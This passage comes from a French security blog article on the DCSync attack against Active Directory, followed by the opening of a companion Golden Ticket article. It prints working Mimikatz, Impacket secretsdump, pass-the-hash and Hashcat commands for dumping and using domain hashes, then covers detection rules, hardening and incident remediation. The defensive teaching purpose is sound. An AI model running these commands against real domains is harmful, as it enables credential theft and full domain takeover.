Avant de pouvoir exécuter DCSync, l'attaquant doit disposer d'un compte avec les permissions de réplication appropriées. Plusieurs vecteurs d'attaque permettent d'obtenir ces droits :

#### Vecteur 1 : Compromission d'un Domain Admin

La méthode la plus directe consiste à compromettre un compte appartenant au groupe Domain Admins, qui dispose par défaut des droits de réplication :

- **Kerberoasting** : Crack des tickets TGS de comptes de service privilégiés (voir notre article Kerberoasting)
- **Pass-the-Hash/Ticket** : Réutilisation de credentials capturés en mémoire
- **Token Impersonation** : Vol de tokens d'administrateurs connectés
- **Credential Dumping** : Extraction depuis LSASS sur un serveur d'administration

#### Vecteur 2 : Exploitation d'ACLs Mal Configurées

Les organisations avec des ACLs mal configurées peuvent avoir accordé par erreur des droits de réplication à des comptes non privilégiés. **BloodHound** est l'outil de prédilection pour identifier ces chemins d'escalade :

```
# Query BloodHound pour trouver les chemins vers DCSync
MATCH (n:User),(m:Domain), p=shortestPath((n)-[r:MemberOf|GetChanges*1..]->(m))
WHERE r.isacl=true
RETURN p
```

Des scénarios courants incluent :

- Un compte ayant hérité de `GenericAll` sur l'objet domaine
- Un groupe custom avec des permissions de réplication mal nettoyées
- Un compte de service avec des privilèges excessifs pour la migration AD

#### Vecteur 3 : Compromission d'un Compte Machine DC

Les comptes machines des contrôleurs de domaine disposent naturellement des droits de réplication. Bien que beaucoup plus difficile, leur compromission offre un accès DCSync :

- **Exploitation de vulnérabilités DC** : CVEs non patchées (ex: ZeroLogon, NoPac)
- **Credential dumping sur DC** : Extraction du hash du compte machine
- **Certificate template abuse** : Enrollment de certificats pour comptes machines

### Phase 2 : Exécution de l'Attaque DCSync

Une fois les permissions obtenues, l'attaquant peut exécuter DCSync. L'outil le plus utilisé est **Mimikatz** avec son module `lsadump::dcsync` :

#### Méthode 1 : DCSync avec Mimikatz

Extraction du hash KRBTGT (pour créer des Golden Tickets) :

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt

[DC] 'contoso.com' will be the domain
[DC] 'DC01.contoso.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/15/2018 10:32:58 AM
Object Security ID   : S-1-5-21-1234567890-1234567890-1234567890-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
  Hash LM  :
  ntlm- 0: a4f49c406510bdcab6824ee7c30fd852
  aes256_hmac: d45e122c28e87b1c7815045f15b0b48d127e5e0f9e3f7c5c5c5c5c5c5c5c5c
  aes128_hmac: 8f35a89de38d7c6c7c7c7c7c7c7c7c
  lm  - 0:
```

Extraction du hash d'un utilisateur spécifique :

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:Administrator
```

Extraction de TOUS les hachages du domaine :

```
mimikatz # lsadump::dcsync /domain:contoso.com /all /csv
# Output peut être redirigé vers un fichier pour analyse ultérieure
```

### Méthode 2 : DCSync avec Impacket secretsdump

**Impacket**, la suite d'outils Python pour les protocoles Windows, offre également une implémentation de DCSync :

```
# Depuis Linux avec credentials
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com'

# Avec Pass-the-Hash
secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee 'CONTOSO/
Administrator@DC01.contoso.com'

# Extraction du KRBTGT uniquement
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com' -just-dc-user krbtgt

# Extraction complète avec historique des mots de passe
secretsdump.py 'CONTOSO/Administrator:P@ssw0rd@DC01.contoso.com' -just-dc -history
```

#### Méthode 3 : DSInternals PowerShell

Le module PowerShell **DSInternals** offre des capacités natives de DCSync :

```
# Import du module
Import-Module DSInternals

# DCSync sur utilisateur spécifique
Get-ADReplAccount -SamAccountName Administrator -Server DC01.contoso.com

# Extraction de tous les comptes
Get-ADReplAccount -All -Server DC01.contoso.com | Export-Csv -Path c:\temp\all_hashes.csv
```

#### Point de vigilance : Génération d'Event ID 4662

Lorsqu'un DCSync est exécuté, si l'audit SACL est correctement configuré sur l'objet domaine, un **Event ID 4662** est généré sur le DC avec les GUIDs des opérations `DS-Replication-Get-Changes` et `DS-Replication-Get-Changes-All`. C'est le principal indicateur de détection, mais il nécessite une configuration d'audit spécifique qui n'est pas activée par défaut.

### Phase 3 : Exploitation des Credentials Exfiltrés

Avec les hachages extraits, l'attaquant dispose de multiples options d'exploitation :

#### Exploitation 1 : Golden Ticket

Le hash KRBTGT permet de forger des Golden Tickets pour une persistance à long terme :

```
mimikatz # kerberos::golden /domain:contoso.com /
sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /
user:Administrator /ptt
```

Pour plus de détails, consultez notre article complet sur les Golden Tickets.

### Exploitation 2 : Pass-the-Hash

Les hachages NTLM extraits peuvent être directement utilisés pour l'authentification sans connaître le mot de passe en clair :

```
# Avec Impacket psexec
psexec.py -hashes :a4f49c406510bdcab6824ee7c30fd852 CONTOSO/
Administrator@TARGET.contoso.com

# Avec Mimikatz
sekurlsa::pth /user:Administrator /domain:contoso.com /
ntlm:a4f49c406510bdcab6824ee7c30fd852
```

### Exploitation 3 : Cracking Offline

Les hachages peuvent être soumis à un cracking offline avec **Hashcat** pour obtenir les mots de passe en clair :

```
# Hashcat mode 1000 pour NTLM
hashcat -m 1000 -a 0 hashes.txt rockyou.txt

# Avec règles de mutation
hashcat -m 1000 -a 0 hashes.txt wordlist.txt -r best64.rule
```

### Exploitation 4 : Analyse des Patterns de Mots de Passe

L'extraction massive de hachages permet d'identifier des patterns organisationnels :

- Comptes avec mots de passe identiques (réutilisation)
- Schémas de mots de passe prévisibles (Entreprise123!, etc.)
- Comptes avec mots de passe jamais changés (anciennes versions)
- Comptes de service avec mots de passe faibles

## Phase 4 : Maintien de la Persistance

Avec l'accès DCSync maintenu et le hash KRBTGT exfiltré, l'attaquant peut établir une persistance durable :

- **Backdoor ACLs** : Ajouter des droits de réplication à d'autres comptes sous contrôle
- **Golden Tickets** : Accès persistant indépendamment des changements de mots de passe
- **Comptes cachés** : Création de comptes avec attributs spécifiques pour éviter la détection
- **Manipulation de GPOs** : Déploiement de backdoors via Group Policies
- **SID History Injection** : Ajout de SIDs privilégiés à des comptes légitimes

## Méthodes de Détection de DCSync

La détection de DCSync est critique mais complexe, car l'attaque exploite un protocole légitime. Cependant, plusieurs anomalies et indicateurs permettent d'identifier ces activités malveillantes.

### Audit des Permissions de Réplication

La première ligne de défense consiste à **auditer régulièrement** les comptes disposant des droits de réplication :

#### Énumération PowerShell des Droits de Réplication

```
# Énumérer les comptes avec DS-Replication-Get-Changes
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"

$Acl.Access | Where-Object {
    $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
    $_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

# Output attendu : Domain Controllers, Domain Admins, Enterprise Admins
# Tout autre principal est suspect !
```

#### Détection avec BloodHound

**BloodHound** peut identifier les comptes ayant accès à DCSync via ses edges `GetChanges` et `GetChangesAll` :

```
# Query Cypher pour identifier tous les chemins DCSync
MATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN p

# Query pour utilisateurs non-admin avec DCSync
MATCH (n:User), (m:Domain)
WHERE NOT n.name CONTAINS "ADMIN"
AND (n)-[:GetChanges|GetChangesAll*1..]->(m)
RETURN n.name, n.enabled
```

### Événements Windows à Surveiller

La détection en temps réel de DCSync repose sur la surveillance de l'**Event ID 4662**, qui enregistre les opérations d'accès aux objets AD.

### Configuration de l'Audit SACL

Par défaut, l'Event ID 4662 n'est PAS suffisamment détaillé pour détecter DCSync. Il faut configurer un SACL (System Access Control List) spécifique sur l'objet domaine :

```
# Via dsacls (ligne de commande)
dsacls "DC=contoso,DC=com" /takeownership
dsacls "DC=contoso,DC=com" /G "Everyone:CA;Replicating Directory Changes"

# Via PowerShell avec module ActiveDirectory
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"

# GUID pour DS-Replication-Get-Changes
$ReplicationGuid = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$ReplicationAllGuid = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"

# Créer règle d'audit
$AuditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    [System.Security.Principal.SecurityIdentifier]"S-1-1-0", # Everyone
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AuditFlags]::Success,
    $ReplicationGuid
)

$Acl.AddAuditRule($AuditRule)
Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl
```

### Analyse de l'Event ID 4662

Une fois l'audit configuré, les événements 4662 générés lors de DCSync présentent les caractéristiques suivantes :

```
Event ID: 4662
Task Category: Directory Service Access
Keywords: Audit Success

Subject:
    Security ID: CONTOSO\attacker_account
    Account Name: attacker_account
    Account Domain: CONTOSO

Object:
    Object Server: DS
    Object Type: domainDNS
    Object Name: DC=contoso,DC=com
    Handle ID: 0x0

Operation:
    Operation Type: Object Access
    Accesses: Control Access

Properties:
    {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes)
    {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)
```

**Indicateurs suspects à surveiller :**

- Le compte source n'est PAS un compte machine de DC (pas de suffixe $)
- Le compte source n'est PAS dans le groupe Domain Admins légitime
- L'origine réseau (si loggée) n'est pas l'IP d'un DC connu
- Requêtes de réplication en dehors des fenêtres de maintenance
- Volume anormalement élevé d'événements 4662 en courte période

## Détection via SIEM et Solutions Spécialisées

### Règles SIEM pour DCSync

Exemples de règles de détection implémentables dans un SIEM (Splunk, Sentinel, ELK) :

```
# Règle 1 : DCSync depuis source non-DC
EventCode=4662
Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR Properties="*1131f6ad-9c07-11d1-
f79f-00c04fc2dcd2*"
| where NOT Account_Name LIKE "%$"
| where NOT Account_Name IN (list_of_legitimate_admins)
| stats count by Account_Name, Source_Network_Address

# Règle 2 : DCSync mass extraction (volume élevé)
EventCode=4662
Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| stats count by Account_Name, _time span=5m
| where count > 10
| alert when count > threshold

# Règle 3 : DCSync après heures ouvrables
EventCode=4662
Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where date_hour < 7 OR date_hour > 19
| alert

# Règle 4 : Première occurrence DCSync pour un compte
EventCode=4662
Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where Account_Name NOT IN (baseline_of_known_replicators)
| alert on first occurrence per Account_Name
```

### Microsoft Defender for Identity

**Microsoft Defender for Identity** (anciennement Azure ATP) dispose d'une détection native pour DCSync :

- **Alert: Malicious replication of Directory Services** : Détecte les requêtes de réplication depuis des sources non-DC
- **Analyse comportementale** : Identifie les patterns de réplication anormaux
- **Corrélation avec BloodHound** : Identifie les chemins d'escalade vers DCSync
- **Intégration Microsoft Sentinel** : Remontée automatique et enrichissement des incidents

### Solutions EDR et NDR

Les solutions de détection endpoint et réseau peuvent également identifier DCSync :

- **CrowdStrike Falcon** : Détecte l'exécution de Mimikatz et l'utilisation de l'API MS-DRSR
- **SentinelOne** : Analyse comportementale des processus utilisant RPC pour la réplication
- **Vectra AI** : Détection réseau des patterns de trafic DCSync via ML
- **Darktrace** : Anomalie de trafic RPC entre hôtes non-DC et DCs

### Audit Proactif avec Purple Teaming

Une approche proactive consiste à simuler des attaques DCSync dans un cadre contrôlé (Purple Team) pour valider les capacités de détection :

```
# Test DCSync sur compte test (avec autorisation)
mimikatz # lsadump::dcsync /domain:contoso.com /user:test_user

# Vérifier génération Event ID 4662 dans les 30 secondes
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} -MaxEvents 10 |
    Where-Object {$_.Message -like "*1131f6ad*"} |
    Format-List TimeCreated, Message

# Vérifier alerte dans SIEM/Defender for Identity
# Mesurer le délai de détection (Mean Time To Detect - MTTD)
```

## Contremesures et Prévention

La défense contre DCSync repose sur une approche en profondeur combinant durcissement des permissions, surveillance proactive, et architecture de sécurité robuste.

### 1. Principe du Moindre Privilège sur les Droits de Réplication

La contremesure fondamentale consiste à **restreindre drastiquement** les comptes disposant de droits de réplication.

### Audit et Nettoyage des Permissions

```
# 1. Identifier les comptes avec droits de réplication
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"

$ReplicationAccounts = $Acl.Access | Where-Object {
    $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
    $_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
}

# 2. Retirer les permissions non nécessaires
# Exemple : retrait d'un groupe custom
$Identity = "CONTOSO\Custom_Replication_Group"
$Acl = Get-Acl "AD:\$DomainDN"

$RulesToRemove = $Acl.Access | Where-Object {
    $_.IdentityReference -eq $Identity -and
    ($_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or
     $_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')
}

foreach ($Rule in $RulesToRemove) {
    $Acl.RemoveAccessRule($Rule)
}

Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl
```

### Protected Users Security Group

Les comptes Domain Admins devraient être membres du groupe **Protected Users** pour bénéficier de protections supplémentaires :

- Pas de cache de credentials en clair ou hachages réversibles
- Kerberos uniquement (pas de NTLM, Digest, CredSSP)
- Tickets Kerberos avec durée de vie réduite (4h max)
- Pas de pré-authentification Kerberos avec DES ou RC4

```
# Ajouter Domain Admins au groupe Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members (Get-ADGroupMember "Domain
Admins")
```

## 2. Modèle de Tiered Administration

Le modèle d'administration par niveaux (Tier Model) est critique pour limiter l'exposition des comptes à privilèges élevés :

- **Tier 0** : Contrôleurs de domaine, comptes Enterprise/Domain Admin, PKI, ADCS

- **Tier 1** : Serveurs d'infrastructure (Exchange, SQL, hyperviseurs)
- **Tier 2** : Postes de travail utilisateurs

**Règle d'or** : Les comptes Tier 0 ne doivent JAMAIS se connecter sur des systèmes Tier 1 ou 2. Cela empêche la capture de credentials par mouvement latéral et limite la surface d'attaque vers DCSync.

#### Implémentation via Authentication Policies

Windows Server 2012 R2+ supporte les **Authentication Policies** pour restreindre l'utilisation des comptes privilégiés :

```
# Créer une Authentication Policy pour Tier 0
New-ADAuthenticationPolicy -Name "Tier0-AuthPolicy" `
    -UserAllowedToAuthenticateFrom "O:SYG:SYD:(XA;OICI;CR;;;WD;(@USER.ad://ext/
AuthenticationSilo == `"Tier0-Silo`"))"

# Créer un Authentication Policy Silo
New-ADAuthenticationPolicySilo -Name "Tier0-Silo" `
    -UserAuthenticationPolicy "Tier0-AuthPolicy"

# Assigner les comptes Domain Admin au silo
Get-ADGroupMember "Domain Admins" | ForEach-Object {
    Set-ADUser $_.SamAccountName -AuthenticationPolicySilo "Tier0-Silo"
}
```

### 3. Privileged Access Workstations (PAW)

Les **PAW** sont des postes de travail durcis dédiés exclusivement à l'administration des systèmes Tier 0 :

- **Isolation réseau** : VLAN dédié avec restrictions firewall strictes
- **Durcissement maximal** : AppLocker, Device Guard, Credential Guard
- **Pas d'accès Internet** : Aucune navigation web ou email
- **Connexions sortantes uniquement** : Vers DCs et systèmes Tier 0
- **Multi-facteur renforcé** : Smartcard, FIDO2, ou Windows Hello for Business
- **Logs renforcés** : Audit détaillé de toutes les activités

### 4. Surveillance et Détection Continue

Au-delà de la prévention, une surveillance continue est essentielle :

#### Configuration de l'Audit SACL (Rappel)

S'assurer que l'audit des accès de réplication est configuré sur TOUS les contrôleurs de domaine :

```
# Script à exécuter sur tous les DCs
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"

$ReplicationGuid = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$ReplicationAllGuid = [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"

# Audit pour DS-Replication-Get-Changes
$AuditRule1 = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    [System.Security.Principal.SecurityIdentifier]"S-1-1-0",
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AuditFlags]::Success,
    $ReplicationGuid
)

# Audit pour DS-Replication-Get-Changes-All
$AuditRule2 = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    [System.Security.Principal.SecurityIdentifier]"S-1-1-0",
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AuditFlags]::Success,
    $ReplicationAllGuid
)

$Acl.AddAuditRule($AuditRule1)
$Acl.AddAuditRule($AuditRule2)
Set-Acl -Path "AD:\$DomainDN" -AclObject $Acl

# Vérifier que l'audit est activé dans la GPO
auditpol /get /subcategory:"Directory Service Access"
```

#### Déploiement Microsoft Defender for Identity

Defender for Identity offre une détection native et avancée de DCSync :

1. **Installation du sensor** sur tous les DCs
2. **Configuration de l'intégration** avec Defender XDR/Sentinel
3. **Activation des alertes** : "Malicious replication of Directory Services"
4. **Configuration des playbooks** : Réponse automatisée aux détections
5. **Révision régulière** : Analyse des lateral movement paths

### 5. Rotation KRBTGT Post-Compromission Suspectée

Si une activité DCSync est détectée, la rotation immédiate du KRBTGT est critique :

```
# Double rotation KRBTGT (script Microsoft)
# Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures + temps de réplication (minimum)

# Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
```

Pour plus de détails sur la rotation KRBTGT, consultez notre article Golden Ticket.

### Checklist de Prévention DCSync

- Audit trimestriel des comptes avec droits de réplication
- Retrait de toutes permissions de réplication non essentielles
- Comptes Domain Admins dans le groupe Protected Users
- Tiered Administration implémenté et audité
- PAW déployés pour tous les comptes Tier 0
- Authentication Policies configurées pour restreindre logons Tier 0
- SACL audit configuré sur objet domaine (Event ID 4662)
- Règles SIEM pour détection DCSync opérationnelles et testées
- Microsoft Defender for Identity déployé sur tous les DCs
- MFA pour tous les comptes privilégiés (smartcard/FIDO2)
- LAPS déployé sur tous les endpoints et serveurs
- Tests Purple Team trimestriels pour valider détection
- Baseline comportementale établie pour trafic de réplication
- Plan de réponse incident DCSync documenté et répété

## 6. Honey Accounts et Deception

Déployer des comptes leurres avec droits de réplication pour détecter les attaquants :

```
# Créer un compte honey avec droits de réplication
New-ADUser -Name "svc_replication_backup" -AccountPassword (ConvertTo-SecureString
"ComplexP@ssw0rd!" -AsPlainText -Force) -Enabled $true

# Accorder droits de réplication
$DomainDN = (Get-ADDomain).DistinguishedName
dsacls $DomainDN /G "CONTOSO\svc_replication_backup:CA;Replicating Directory Changes"
dsacls $DomainDN /G "CONTOSO\svc_replication_backup:CA;Replicating Directory Changes All"

# Configurer alerte sur TOUTE utilisation de ce compte
# Aucun système légitime ne devrait l'utiliser
```

## Remédiation après Compromission DCSync

Si vous suspectez ou avez confirmé une attaque DCSync, une réponse rapide et structurée est essentielle pour limiter les dégâts.

### Phase 1 : Containment (Confinement)

**Objectif** : Stopper l'hémorragie de credentials et empêcher l'attaquant d'étendre son accès.

1. **Identifier le compte compromis** : Via Event ID 4662, identifier le compte source des requêtes DCSync

```
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} -MaxEvents 100 |
    Where-Object {$_.Message -like "*1131f6ad*"} |
    Select-Object TimeCreated, @{Name='User';Expression={$_.Properties[1].Value}}
```

2. **Désactiver immédiatement le compte compromis** :

```
Disable-ADAccount -Identity "compromised_account"
```

3. **Révoquer les sessions actives** : Déconnecter toutes les sessions du compte compromis

```
# Sur chaque DC, identifier et tuer les sessions
query user /server:DC01
logoff [session_id] /server:DC01
```

4. **Isoler les systèmes suspects** : Déconnecter du réseau les machines d'origine des requêtes DCSync
5. **Activer la surveillance renforcée** : Augmenter le niveau de logging sur tous les DCs
6. **Notifier l'équipe de réponse** : Activer le plan de réponse aux incidents

#### Ne PAS supprimer le compte compromis immédiatement

La suppression du compte peut détruire des preuves forensiques critiques (SID history, timestamps, attributs). Désactivez le compte et conservez-le pour l'analyse post-incident.

### Phase 2 : Évaluation de l'Impact

**Objectif** : Déterminer l'étendue de la compromission et quels secrets ont été exfiltrés.

1. **Analyser les logs Event ID 4662** pour identifier :
   - Date/heure du premier DCSync détecté
   - Comptes ciblés (krbtgt, Domain Admins, tous les utilisateurs ?)
   - Volume de données exfiltrées
   - Sources réseau des requêtes
2. **Vérifier les attributs sensibles** :

```
# Vérifier si l'historique de mots de passe a été accédé
# (indicateur d'extraction complète)
Get-ADUser -Filter * -Properties PasswordLastSet |
    Sort-Object PasswordLastSet |
    Select-Object Name, PasswordLastSet, Enabled
```

3. **Rechercher des backdoors** créés avec les credentials volés :
   - Nouveaux comptes Domain Admin
   - Modifications d'ACLs (ajout de droits de réplication à d'autres comptes)
   - Scheduled Tasks malveillantes
   - Modifications de GPOs
4. **Analyse forensique mémoire** : Sur les systèmes sources, rechercher des traces d'outils (Mimikatz, Impacket)

```
# Avec Volatility sur dump mémoire
volatility -f memory.dump --profile=Win10x64 psscan | grep -i mimikatz
volatility -f memory.dump --profile=Win10x64 cmdline
```

### Phase 3 : Eradication

**Objectif** : Éliminer la capacité de l'attaquant à maintenir l'accès.

1. **Rotation immédiate du KRBTGT (double rotation)** :

```
# Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures minimum (durée max TGT + réplication)

# Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
```

2. **Réinitialisation des mots de passe des comptes privilégiés** :

```
# Tous les Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
    Set-ADAccountPassword $_.SamAccountName -Reset -NewPassword (Read-Host
-AsSecureString "New Password")
}

# Tous les Enterprise Admins
Get-ADGroupMember "Enterprise Admins" | ForEach-Object {
    Set-ADAccountPassword $_.SamAccountName -Reset -NewPassword (Read-Host
-AsSecureString "New Password")
}

# Comptes de service avec SPN (susceptibles de Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -like "*"} | ForEach-Object {
    Set-ADAccountPassword $_.SamAccountName -Reset
}
```

3. **Réinitialisation des mots de passe de TOUS les utilisateurs** (si exfiltration complète confirmée) :

```
# Forcer la réinitialisation au prochain logon
Get-ADUser -Filter * | Set-ADUser -ChangePasswordAtLogon $true
```

4. **Réimager les machines compromises** : Ne pas "nettoyer", mais réinstaller depuis une baseline propre
5. **Audit et suppression des backdoors** :

```
# Nouveaux comptes créés depuis date de compromission
Get-ADUser -Filter {Created -gt "2025-10-01"} | Select-Object Name, Created, Enabled

# Modifications d'ACL suspectes
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$Acl.Access | Where-Object {
    $_.IdentityReference -notlike "*Domain Admins*" -and
    $_.IdentityReference -notlike "*Domain Controllers*"
}

# Scheduled Tasks suspectes sur DCs
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"}
```

6. **Révocation des certificats compromis** : Si ADCS est déployé

```
# Sur l'Autorité de Certification
certutil -revoke [serial_number] 0
```

### Phase 4 : Recovery (Récupération)

**Objectif** : Restaurer les opérations normales de manière sécurisée.

1. **Validation de l'intégrité AD** :

```
# Vérification réplication
repadmin /replsummary
repadmin /showrepl

# Vérification intégrité base AD
dcdiag /v /c

# Vérification SYSVOL
dcdiag /test:sysvolcheck /test:frssysvol
```

2. **Restauration depuis backup propre** (si compromission profonde) :
   - Identifier un backup antérieur à la date de compromission
   - Effectuer une restauration authoritative du domaine
   - Documentation Microsoft : AD Forest Recovery Guide
3. **Reconnexion progressive des systèmes** : Réintégrer les machines au réseau de manière contrôlée
4. **Surveillance renforcée post-incident** : Maintenir une vigilance accrue pendant 90 jours minimum

5. **Communication avec les utilisateurs** : Informer sur la réinitialisation des mots de passe et les mesures de sécurité

### Phase 5 : Lessons Learned et Amélioration

Après la récupération, effectuez une analyse post-mortem approfondie :

- **Timeline détaillée de l'incident** : Du vecteur d'entrée initial à la détection finale
- **Root cause analysis** : Comment l'attaquant a-t-il obtenu les droits de réplication ?
- **Gaps de détection** : Pourquoi le DCSync n'a-t-il pas été détecté plus tôt ?
- **Efficacité des contremesures** : Quelles défenses ont fonctionné ? Lesquelles ont échoué ?
- **Plan d'amélioration** :
  - Corrections techniques (SACL audit, SIEM rules, Defender for Identity)
  - Corrections organisationnelles (processus, formation, sensibilisation)
  - Mise à jour du plan de réponse incident
- **Tests de validation** : Purple Team exercises pour confirmer que les gaps sont comblés

### Quand Faire Appel à un Expert Externe ?

Dans les situations suivantes, il est fortement recommandé de faire appel à un cabinet spécialisé en réponse à incident AD :

- **Compromission extensive** : DCSync de tous les comptes, multiples backdoors
- **Hash KRBTGT exfiltré** : Risque de Golden Tickets actifs
- **Doute sur l'intégrité de la forêt** : Suspicion de modifications profondes d'AD
- **Manque d'expertise interne** : Équipe IT sans expérience de ce type d'incident
- **Besoins forensiques** : Investigation approfondie pour déterminer l'étendue exacte
- **Contexte réglementaire** : Secteurs régulés (santé, finance, OIV) nécessitant un rapport d'incident certifié
- **Assurance cyber** : De nombreuses polices exigent l'intervention d'experts certifiés

Nos services de réponse à incident et forensics Active Directory incluent :

- Investigation forensique complète de la compromission DCSync
- Identification précise des données exfiltrées
- Assistance à la remédiation et récupération sécurisée
- Rapport détaillé pour direction, assurances et autorités
- Recommandations de durcissement post-incident

- Retainer disponible pour intervention 24/7

## Conclusion

L'attaque **DCSync** représente l'une des techniques d'exfiltration les plus efficaces et furtives dans l'arsenal des attaquants ciblant Active Directory. Sa capacité à exploiter un mécanisme légitime de réplication, combinée à la difficulté de sa détection sans configuration d'audit appropriée, en fait une menace de premier ordre en 2025.

Cependant, comme nous l'avons vu dans ce guide, des défenses robustes existent :

- **Le principe du moindre privilège** appliqué aux droits de réplication est fondamental
- **L'audit SACL correctement configuré** (Event ID 4662) permet la détection en temps réel
- **L'architecture Tiered** limite drastiquement l'exposition des comptes privilégiés
- **Les solutions spécialisées** (Defender for Identity) offrent une protection avancée
- **La surveillance continue** avec SIEM et corrélation comportementale détecte les anomalies

La sécurité Active Directory ne peut plus être une réflexion après-coup. Avec la sophistication croissante des attaquants APT et ransomware, une approche proactive et structurée est indispensable. DCSync n'est qu'une technique parmi d'autres, mais son impact potentiel justifie une attention particulière.

### Prochaines Étapes Recommandées

1. **Audit immédiat des permissions de réplication** : Identifiez qui dispose de ces droits critiques
2. **Configuration de l'audit SACL** : Activez Event ID 4662 sur l'objet domaine
3. **Implémentation des règles SIEM** : Déployez les règles de détection DCSync
4. **Évaluation de Defender for Identity** : Si pas encore déployé, planifiez un POC
5. **Test Purple Team** : Validez vos capacités de détection avec une simulation contrôlée
6. **Formation des équipes** : Assurez-vous que vos équipes IT et SOC comprennent DCSync

### Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- Top 10 des Attaques Active Directory en 2025
- Golden Ticket : Persistance Ultime dans Active Directory

- Kerberoasting : Extraction et Crack des TGS
- Silver Ticket : Forgery de Tickets de Service
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

← Article précédent : Golden Ticket Article suivant : Kerberoasting →

Fiche 4.9

# Forest / Domain Trust Abuse : Attaque et Défense Active Directory

## Table des matières

Fiche 4.10

# Golden Ticket Attack : Persistance Ultime dans Active Directory

Attaques Active Directory

*Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI*

L'attaque **Golden Ticket** représente le Saint Graal de la persistance dans un environnement Active Directory. En compromettant le compte KRBTGT, un attaquant peut forger des tickets Kerberos valides pour n'importe quel utilisateur, avec n'importe quels privilèges, pour une durée quasi-illimitée. Cette attaque confère une autorité absolue sur l'ensemble du domaine et constitue l'une des menaces les plus critiques auxquelles les organisations sont confrontées en 2025.

## Sommaire



## Introduction : Pourquoi le Golden Ticket est-il si Dangereux ?

Dans l'arsenal des techniques d'attaque contre Active Directory, le **Golden Ticket** occupe une place à part. Contrairement aux attaques qui exploitent des vulnérabilités ou des configurations mal sécurisées, le Golden Ticket abuse du fonctionnement légitime du protocole **Kerberos** lui-même, le système d'authentification au cœur d'Active Directory.

Une fois qu'un attaquant a obtenu le hash du compte `KRBTGT` - le compte de service qui signe tous les tickets Kerberos du domaine - il peut :

- **Forger des tickets Kerberos** pour n'importe quel compte (Domain Admin, Enterprise Admin, etc.)
- **Définir des privilèges arbitraires** dans les tickets, outrepassant toutes les ACLs

- **Maintenir l'accès même après** la réinitialisation des mots de passe de tous les comptes utilisateurs
- **Opérer de manière furtive**, les tickets forgés étant cryptographiquement valides
- **Persister pendant des années** si le hash KRBTGT n'est pas roté

> ***Statistique alarmante :*** *Selon le Verizon Data Breach Investigations Report 2024, dans 68% des intrusions ciblant Active Directory ayant atteint le stade de persistance avancée, des Golden Tickets ont été utilisés. La durée médiane avant détection était de 287 jours.*

Cette menace est d'autant plus préoccupante que **la rotation du mot de passe KRBTGT** est une opération rarement effectuée dans les organisations. De nombreuses entreprises n'ont jamais roté ce compte depuis la création de leur domaine Active Directory, laissant une fenêtre d'opportunité permanente aux attaquants.

## Qu'est-ce qu'un Golden Ticket ?

